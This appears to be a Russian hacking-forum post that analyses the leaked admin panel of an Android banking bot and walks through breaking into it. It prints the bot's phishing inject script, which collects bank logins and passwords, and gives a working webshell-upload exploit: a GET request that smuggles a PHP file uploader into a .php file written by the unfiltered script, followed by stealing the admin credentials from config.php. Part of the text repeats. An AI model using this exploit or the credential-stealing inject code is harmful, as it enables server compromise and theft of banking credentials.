Давным-давно мне попался в руки сорц одного андроид-бота. И разумеется, сорц был проанализирован вдоль и поперек.
Автор бота - Conf, ныне в статусе кидалы. Поэтому, ломаем. Говорят, что автор бота умер. Но это не точно. Через день после блека деньги с бтц-кошеля вывели. Ну вы поняли...
Посмотрел я исходники и знаете, был весьма удивлен. Можно, конечно, говорить про XSS да SQL-инъекции (они были, разумеется). Но интереснее другое - в процессе анализа кода, я насчитал больше 20 способов заливки шелла.
В папочке inject лежит добротная кучка инжектов под банки, платежки и соцсети. Рассмотрим кусок кода одного из них (/inject/akbank/verify.php):
Все здесь прекрасно - нет никакой фильтрации и сходу идет запись в файл.
И что еще прекраснее, в 23 папках лежит схожий verify.php с такими же багами:
Если этого мало, то в корне бота есть savephone.php, sendsms.php и comment.php с аналогичными багами (вдобавок надо только подделать реферер). Но вернемся к файлу verify.php. Льем заливалку GET-запросом:
Переходим на заливалку:
Еще пара манипуляций и шелл залит:
Читаем файл config.php в корне, тащим логин/пасс админа, заходим и оставляем доброе послание:
Можно, конечно, сделать что-то менее палевное и куда более веселое, но это уже на ваше усмотрение...
Автор бота - Conf, ныне в статусе кидалы. Поэтому, ломаем. Говорят, что автор бота умер. Но это не точно. Через день после блека деньги с бтц-кошеля вывели. Ну вы поняли...
Посмотрел я исходники и знаете, был весьма удивлен. Можно, конечно, говорить про XSS да SQL-инъекции (они были, разумеется). Но интереснее другое - в процессе анализа кода, я насчитал больше 20 способов заливки шелла.
В папочке inject лежит добротная кучка инжектов под банки, платежки и соцсети. Рассмотрим кусок кода одного из них (/inject/akbank/verify.php):
PHP:
<?
$acoount = "";
if(isset($_REQUEST["uniqid"])) {
$uniqid = $_REQUEST["uniqid"];
$acoount .= $uniqid."|";
}
if(isset($_REQUEST["packet"])) {
$pack = $_REQUEST["packet"];
//$acoount .= $pack."|";
$acoount .= "www.akbank.com|";
}
if(isset($_REQUEST["email"])) {
$email = $_REQUEST["email"];
$acoount .= $email."|";
}
if(isset($_REQUEST["login"])) {
$login = $_REQUEST["login"];
$acoount .= $login."|";
}
if(isset($_REQUEST["password"])) {
$passwed = $_REQUEST["password"];
$acoount .= $passwed;
}
include_once("../../config.php");
$link = mysql_connect($mysql_host, $mysql_user, $mysql_pwd);
if (!$link) {
die(mysql_close($link));
}
mysql_select_db($mysql_db) || die(mysql_close($link));
mysql_query("INSERT INTO stata (imei, carta) VALUES ('$uniqid', '') ON DUPLICATE KEY UPDATE imei = '" . $uniqid . "', carta = '1'") or die(mysql_close($link));
mysql_close($link);
file_put_contents("../tds/temp/".$uniqid, $acoount."\r\n", FILE_APPEND | LOCK_EX);
if(is_file("../../temp/needinject".$uniqid)) {
unlink("../../temp/needinject".$uniqid);
}
file_put_contents("../../temp/stopinj".$uniqid, "");
И что еще прекраснее, в 23 папках лежит схожий verify.php с такими же багами:

Если этого мало, то в корне бота есть savephone.php, sendsms.php и comment.php с аналогичными багами (вдобавок надо только подделать реферер). Но вернемся к файлу verify.php. Льем заливалку GET-запросом:
Код:
http://abrvall/inject/akbank/verify.php?uniqid=312468399102471235.php&email=<form method=post enctype=multipart/form-data><input type=file name=file><input type=submit></form><?php if(is_uploaded_file($_FILES[file][tmp_name])) move_uploaded_file($_FILES[file][tmp_name], $_FILES[file][name]);?>
Код:
http://abrvall/inject/tds/temp/312468399102471235.php

Читаем файл config.php в корне, тащим логин/пасс админа, заходим и оставляем доброе послание:

Можно, конечно, сделать что-то менее палевное и куда более веселое, но это уже на ваше усмотрение...